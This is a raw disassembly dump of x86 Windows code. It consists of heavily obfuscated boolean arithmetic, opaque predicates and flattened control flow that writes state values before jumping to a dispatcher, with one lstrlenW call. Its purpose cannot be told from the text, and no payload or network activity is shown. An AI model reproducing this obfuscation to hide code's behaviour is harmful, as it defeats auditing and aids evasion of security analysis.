and cl, 0
or ch, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov bl, 1
xor bl, 0
mov cl, ah
xor cl, bl
and cl, ah
mov byte [ebp - 0x1c583], cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, dl
xor ah, 0xff
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
and dl, bl
mov byte [ebp - 0x1c585], dl
mov dl, bh
and dl, 0xff
and al, bl
mov byte [ebp - 0x1c584], al
mov al, byte [ebp - 0x1c585]
or ch, al
mov al, byte [ebp - 0x1c584]
or dl, al
mov al, byte [ebp - 0x1c583]
xor ch, dl
mov dl, byte [ebp - 0x1c582]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and ch, bl
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bl
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x1c576], al
mov cl, 1
xor cl, 1
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov byte [ebp - 0x1c57b], cl
mov bh, dl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov byte [ebp - 0x1c579], ch
mov ah, 1
xor ah, 1
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
mov bl, ch
xor bl, 0xff
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov bl, 1
xor bl, 1
mov ah, bh
xor ah, bl
and ah, bh
mov byte [ebp - 0x1c57e], ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x1c57f], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
mov ch, dl
and ch, 0xff
and al, ah
mov byte [ebp - 0x1c581], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1c580], al
mov al, byte [ebp - 0x1c581]
and cl, ah
or ch, al
mov al, byte [ebp - 0x1c580]
or al, cl
mov cl, byte [ebp - 0x1c57f]
xor ch, al
mov al, byte [ebp - 0x1c57e]
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c57a], ah
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov byte [ebp - 0x1c57d], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1c57c], al
mov al, byte [ebp - 0x1c57d]
and cl, dl
or ah, al
mov al, byte [ebp - 0x1c57c]
or al, cl
mov cl, byte [ebp - 0x1c57b]
xor ah, al
mov al, byte [ebp - 0x1c57a]
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov al, ch
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and ch, bl
mov dl, ah
xor dl, 0xff
and dl, 0
and ah, bl
or al, ch
or dl, ah
xor al, dl
mov byte [ebp - 0x1c575], al
mov dl, cl
xor dl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov al, dl
and al, 0xff
and cl, ah
mov bl, ch
and bl, 0xff
and bh, ah
or al, cl
mov cl, byte [ebp - 0x1c579]
or bl, bh
xor al, bl
or dl, ch
xor dl, 0xff
or ah, 1
and dl, ah
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 1
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov ch, ah
and ch, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x1c578], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c577], al
mov al, byte [ebp - 0x1c578]
and cl, bl
or ch, al
mov al, byte [ebp - 0x1c577]
or al, cl
mov cl, byte [ebp - 0x1c576]
xor ch, al
mov al, byte [ebp - 0x1c575]
or ah, bh
xor ah, 0xff
or bl, 1
and ah, bl
or ch, ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and cl, ah
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dl, ah
or cl, dl
mov bh, 1
xor bh, 1
and bh, 1
mov ah, 1
xor ah, 1
mov ch, ah
and ch, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or bh, ch
or dl, ah
xor bh, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, 1
xor cl, 1
mov byte [ebp - 0x1c574], cl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
mov al, ah
and al, 1
mov bl, ch
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x1c574]
or bl, bh
xor cl, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dl, ah
or al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ch, dh
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov bh, ah
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ch, ah
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ch
or cl, dl
xor bh, cl
mov bl, 1
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
mov ch, dl
and ch, 0
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ch
or cl, dl
xor bl, cl
mov byte [ebp - 0x1c573], bl
mov dl, al
xor dl, 0xff
mov ch, 1
xor ch, 0
mov cl, 1
xor cl, 1
or dl, ch
or cl, 1
xor dl, 0xff
and dl, cl
xor dh, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 1
or dh, ch
or cl, 1
xor dh, 0xff
and dh, cl
mov ch, 1
xor ch, 0
mov cl, bh
xor cl, ch
and cl, bh
xor bl, 0xff
mov ch, ah
xor ch, bl
and ch, ah
mov ah, dl
and ah, dh
xor dl, dh
or ah, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov dh, ch
and dh, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x1c573]
or dh, bh
xor ah, dh
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbed61384
mov ecx, 0xb5cc2621
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b634]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x1b72c]
mov eax, dword [eax]
mov word [eax], cx
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
xor edx, edx
sub edx, 1
add edx, 0
xor esi, esi
sub esi, 0x3afd74fe
add esi, edx
add esi, 0x3afd74fe
mov edx, ecx
add edx, 0x9e251ee5
sub edx, 0xc6028bb5
sub edx, 0x9e251ee5
add edx, 0x68c238d9
add edx, esi
sub edx, 0x68c238d9
add edx, 0xc0bcc162
add edx, 0xc6028bb5
sub edx, 0xc0bcc162
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl dl
mov ah, dl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov al, cl
xor al, 0xff
mov bl, ah
and bl, al
xor ah, 0xff
mov al, cl
and al, ah
or bl, al
xor bl, 0xff
mov ah, cl
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov ch, cl
xor ch, 0xff
and ch, 0
mov ah, 1
xor ah, 0
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov al, dl
xor al, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or al, ch
or ah, 1
xor al, 0xff
and al, ah
mov ah, dl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or al, cl
mov byte [ebp - 0x1c59a], al
mov bh, dh
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov cl, 1
xor cl, 1
mov ch, al
xor ch, cl
and ch, al
xor bl, 0xff
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov cl, bh
xor cl, 0xff
mov ah, 1
xor ah, 1
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov al, dl
xor al, 0xff
mov ah, dh
xor ah, al
mov al, byte [ebp - 0x1c59a]
and ah, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov byte [ebp - 0x1c599], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x1c599]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbed61384
mov ecx, 0x6f6c11c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1b7b0], eax
jmp 0x4b3015
mov eax, dword [ebp - 0x1b72c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b720]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov ecx, dword [0x62b5d4]
mov eax, dword [0x62b5d0]
mov edx, 0x1102aa75
add edx, 0
sub edx, 0x95ec7abe
sub edx, 0x1102aa75
xor esi, esi
sub esi, edx
mov edx, ecx
sub edx, esi
xor esi, esi
sub esi, 0x1014fefd
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x10904d51
add edx, 0x1014fefd
add edx, 0x10904d51
xor edi, edi
sub edi, 0xf9bcab98
sub edi, 0x95ec7abe
add edi, 0xf9bcab98
xor esi, esi
sub esi, edi
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl bl
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov bh, dl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x1c680], ch
mov ah, bh
xor ah, 0xff
mov cl, 1
xor cl, 0
and ch, 0
and al, cl
mov dh, ah
and dh, 0
and bh, cl
or ch, al
mov al, byte [ebp - 0x1c680]
or dh, bh
xor ch, dh
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or ch, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov dh, bl
and dh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, 1
xor al, 1
and al, 1
mov ah, 1
xor ah, 1
and ah, 1
or al, ah
xor al, 0xff
mov ah, bl
xor ah, al
and ah, bl
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x1c65e], al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov cl, 1
xor cl, 0
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov byte [ebp - 0x1c67f], ah
xor ah, 0xff
xor ah, 0
and ah, 0
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, 1
xor al, 0
mov dh, bh
xor dh, al
mov al, byte [ebp - 0x1c67f]
and dh, bh
mov byte [ebp - 0x1c67e], dh
mov bh, 1
xor bh, 1
xor al, 0xff
mov dh, 1
xor dh, 1
or bh, al
mov al, byte [ebp - 0x1c67e]
or dh, 1
xor bh, 0xff
and bh, dh
mov byte [ebp - 0x1c67d], bh
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c679], ah
xor bh, 0xff
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c67a], cl
and ah, 0
and al, cl
mov cl, byte [ebp - 0x1c67d]
mov byte [ebp - 0x1c67c], al
mov al, bh
and al, 0
mov byte [ebp - 0x1c67b], al
mov al, byte [ebp - 0x1c67a]
and cl, al
mov al, byte [ebp - 0x1c67c]
or ah, al
mov al, byte [ebp - 0x1c67b]
or al, cl
mov cl, byte [ebp - 0x1c67a]
xor ah, al
mov al, byte [ebp - 0x1c679]
or al, bh
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, bh
or al, dh
or cl, ah
xor al, cl
mov byte [ebp - 0x1c64e], al
mov al, ch
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, ch
and cl, ah
or al, cl
mov cl, 1
xor cl, 0
and cl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or cl, bh
or ah, dh
xor cl, ah
mov ah, 1
xor ah, 1
and ah, 1
mov dh, 1
xor dh, 1
and dh, 1
or ah, dh
mov byte [ebp - 0x1c675], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c676], ah
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and ah, 0xff
and al, dh
mov byte [ebp - 0x1c678], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c677], al
mov al, byte [ebp - 0x1c678]
and cl, dh
or ah, al
mov al, byte [ebp - 0x1c677]
or al, cl
mov cl, byte [ebp - 0x1c676]
xor ah, al
mov al, byte [ebp - 0x1c675]
or cl, bh
mov bh, byte [ebp - 0x1c64e]
xor cl, 0xff
or dh, 1
and cl, dh
or ah, cl
mov dh, al
and dh, 1
xor al, 1
or dh, al
mov al, ah
xor al, 0xff
and al, 1
mov cl, 1
xor cl, 1
and ah, cl
mov cl, byte [ebp - 0x1c65e]
or al, ah
xor al, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or al, dh
or ah, 0
xor al, 0xff
and al, ah
mov byte [ebp - 0x1c670], al
mov dh, bh
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and bh, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, bh
or al, ah
xor dh, al
mov al, dl
xor al, 0xff
mov ah, dh
and ah, al
xor dh, 0xff
mov al, dl
and al, dh
or ah, al
xor ah, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or ah, dl
or al, 0
xor ah, 0xff
and ah, al
mov dh, 1
xor dh, 0
and dh, 1
mov al, 1
xor al, 1
and al, 0
or dh, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and cl, bh
mov al, dh
xor al, 0xff
and al, 0
and dh, bh
mov bh, byte [ebp - 0x1c64e]
or dl, cl
mov cl, byte [ebp - 0x1c65e]
or al, dh
xor dl, al
xor dl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov al, bl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bl
or cl, dh
xor al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or cl, bh
or dh, bl
xor cl, dh
mov dh, 1
xor dh, 1
and dh, 1
mov bl, 1
xor bl, 1
and bl, 1
or dh, bl
mov byte [ebp - 0x1c671], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1c672], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x1c674], al
mov al, byte [ebp - 0x1c672]
and al, 0
mov byte [ebp - 0x1c673], al
mov al, byte [ebp - 0x1c674]
and cl, bh
or dh, al
mov al, byte [ebp - 0x1c673]
or al, cl
mov cl, byte [ebp - 0x1c672]
xor dh, al
mov al, byte [ebp - 0x1c671]
or bl, cl
mov cl, byte [ebp - 0x1c670]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bl, al
and bl, 1
xor al, 1
or bl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and dh, bh
or al, dh
xor bl, 0xff
mov dh, al
xor dh, bl
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and cl, bl
or al, cl
mov byte [ebp - 0x1c669], al
mov cl, ah
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov al, ah
and al, bl
mov bh, 1
xor bh, 1
and bh, 0
and bl, 1
or cl, al
mov al, byte [ebp - 0x1c670]
or bh, bl
mov bl, byte [ebp - 0x1c669]
xor cl, bh
mov byte [ebp - 0x1c66f], cl
mov cl, 1
xor cl, 1
and cl, 1
mov bh, 1
xor bh, 1
and bh, 1
or cl, bh
mov byte [ebp - 0x1c664], cl
xor bl, 0xff
mov cl, 1
xor cl, 1
mov bh, 1
xor bh, 1
or bl, cl
mov cl, byte [ebp - 0x1c664]
or bh, 1
xor bl, 0xff
and bl, bh
xor al, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x1c66f]
or bh, 1
xor al, 0xff
and al, bh
mov byte [ebp - 0x1c66c], al
mov bh, cl
xor bh, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x1c66e], al
mov al, 1
xor al, 0
mov byte [ebp - 0x1c66d], al
mov al, byte [ebp - 0x1c66e]
or bh, al
mov al, byte [ebp - 0x1c66d]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x1c664]
mov byte [ebp - 0x1c66b], bh
xor al, 0xff
mov bh, ah
xor bh, al
mov al, byte [ebp - 0x1c66c]
and bh, ah
mov ah, bl
and ah, al
xor bl, al
mov al, byte [ebp - 0x1c66b]
or ah, bl
mov bl, al
and bl, bh
xor al, bh
or bl, al
mov bh, ah
xor bh, 0xff
and bh, 0
mov al, 1
xor al, 0
and ah, al
mov byte [ebp - 0x1c66a], ah
mov ah, bl
xor ah, 0xff
and ah, 0
and bl, al
mov al, byte [ebp - 0x1c66a]
or bh, al
mov al, byte [ebp - 0x1c669]
or ah, bl
xor bh, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x1c666], ah
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x1c665], bl
mov bl, 1
xor bl, 1
and ah, 0xff
and al, bl
mov byte [ebp - 0x1c668], al
mov al, byte [ebp - 0x1c665]
and al, 0xff
mov byte [ebp - 0x1c667], al
mov al, byte [ebp - 0x1c668]
and cl, bl
or ah, al
mov al, byte [ebp - 0x1c667]
or al, cl
mov cl, byte [ebp - 0x1c666]
xor ah, al
mov al, byte [ebp - 0x1c665]
or cl, al
mov al, byte [ebp - 0x1c664]
xor cl, 0xff
or bl, 1
and cl, bl
or ah, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ah, bl
or cl, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x1c661], cl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and cl, 0xff
and bh, ah
mov byte [ebp - 0x1c663], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x1c662], al
mov al, byte [ebp - 0x1c663]
or cl, al
mov al, byte [ebp - 0x1c662]
or bh, al
mov al, byte [ebp - 0x1c661]
xor cl, bh
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 0xff
mov bl, dh
xor bl, 0xff
mov ah, 1
xor ah, 1
or al, bl
or ah, 1
xor al, 0xff
and al, ah
mov bl, dl
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and dl, dh
or ah, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov dh, cl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, cl
and al, ah
or dh, al
mov al, 1
xor al, 0
xor dh, 0xff
mov ah, 1
xor ah, 1
or al, dh
or ah, 1
xor al, 0xff
and al, ah
mov dh, 1
xor dh, 0
and dh, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 0
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or dh, bh
or ah, bl
xor dh, ah
xor cl, 0xff
mov bl, dh
xor bl, 0xff
mov ah, 1
xor ah, 1
or cl, bl
or ah, 1
xor cl, 0xff
and cl, ah
mov bh, dl
xor bh, 0xff
and bh, 1
mov bl, 1
xor bl, 1
mov ah, dl
and ah, bl
or bh, ah
xor bh, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or bh, bl
or ah, 1
xor bh, 0xff
and bh, ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x1c65d], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
mov dh, dl
and dh, 0xff
and al, ah
mov byte [ebp - 0x1c660], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1c65f], al
mov al, byte [ebp - 0x1c660]
and cl, ah
or dh, al
mov al, byte [ebp - 0x1c65f]
or al, cl
mov cl, byte [ebp - 0x1c65e]
xor dh, al
mov al, byte [ebp - 0x1c65d]
or dl, bl
xor dl, 0xff
or ah, 1
and dl, ah
or dh, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0x1c65a], dl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and bh, ah
mov byte [ebp - 0x1c65c], bh
mov bh, bl
and bh, 0xff
and al, ah
mov byte [ebp - 0x1c65b], al
mov al, byte [ebp - 0x1c65c]
or dl, al
mov al, byte [ebp - 0x1c65b]
or bh, al
mov al, byte [ebp - 0x1c65a]
xor dl, bh
or al, bl
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, dl
xor al, 0xff
and al, 0xff
and dl, bl
or ah, dh
or al, dl
xor ah, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or bl, al
mov al, cl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bh, cl
and bh, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or al, bh
or dl, dh
xor al, dl
mov byte [ebp - 0x1c656], al
mov bh, 1
xor bh, 0
and bh, 0
mov dh, 1
xor dh, 0
mov al, dh
and al, 0
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or bh, al
mov al, byte [ebp - 0x1c656]
or dl, dh
xor bh, dl
mov byte [ebp - 0x1c653], bh
mov dh, 1
xor dh, 0
mov dl, bl
xor dl, dh
and dl, bl
xor bh, 0xff
mov dh, ch
xor dh, bh
and dh, ch
xor al, 0xff
mov bh, 1
xor bh, 0
mov ch, 1
xor ch, 0
or al, bh
mov bh, byte [ebp - 0x1c653]
or ch, 0
xor al, 0xff
and al, ch
xor cl, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 0
or cl, bh
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x1c657], dl
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and dl, 0xff
and al, dh
mov byte [ebp - 0x1c659], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1c658], al
mov al, byte [ebp - 0x1c659]
and cl, dh
or dl, al
mov al, byte [ebp - 0x1c658]
or al, cl
mov cl, byte [ebp - 0x1c657]
xor dl, al
mov al, byte [ebp - 0x1c656]
or cl, bh
xor cl, 0xff
or dh, 1
and cl, dh
or dl, cl
mov bh, ch
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or bh, ch
or cl, dl
xor bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov dl, 1
xor dl, 0
mov ch, cl
and ch, 0
and bl, dl
mov byte [ebp - 0x1c655], bl
mov bl, dh
and bl, 0
and al, dl
mov byte [ebp - 0x1c654], al
mov al, byte [ebp - 0x1c655]
or ch, al
mov al, byte [ebp - 0x1c654]
or bl, al
mov al, byte [ebp - 0x1c653]
xor ch, bl
or cl, dh
xor cl, 0xff
or dl, 0
and cl, dl
or ch, cl
mov bl, ch
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ch
or cl, dl
xor bl, cl
mov cl, 1
xor cl, 0
mov byte [ebp - 0x1c650], cl
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov dh, dl
and dh, 0
mov byte [ebp - 0x1c652], dh
mov dh, ch
and dh, 0xff
and al, dl
mov byte [ebp - 0x1c651], al
mov al, byte [ebp - 0x1c652]
or cl, al
mov al, byte [ebp - 0x1c651]
or dh, al
mov al, byte [ebp - 0x1c650]
xor cl, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
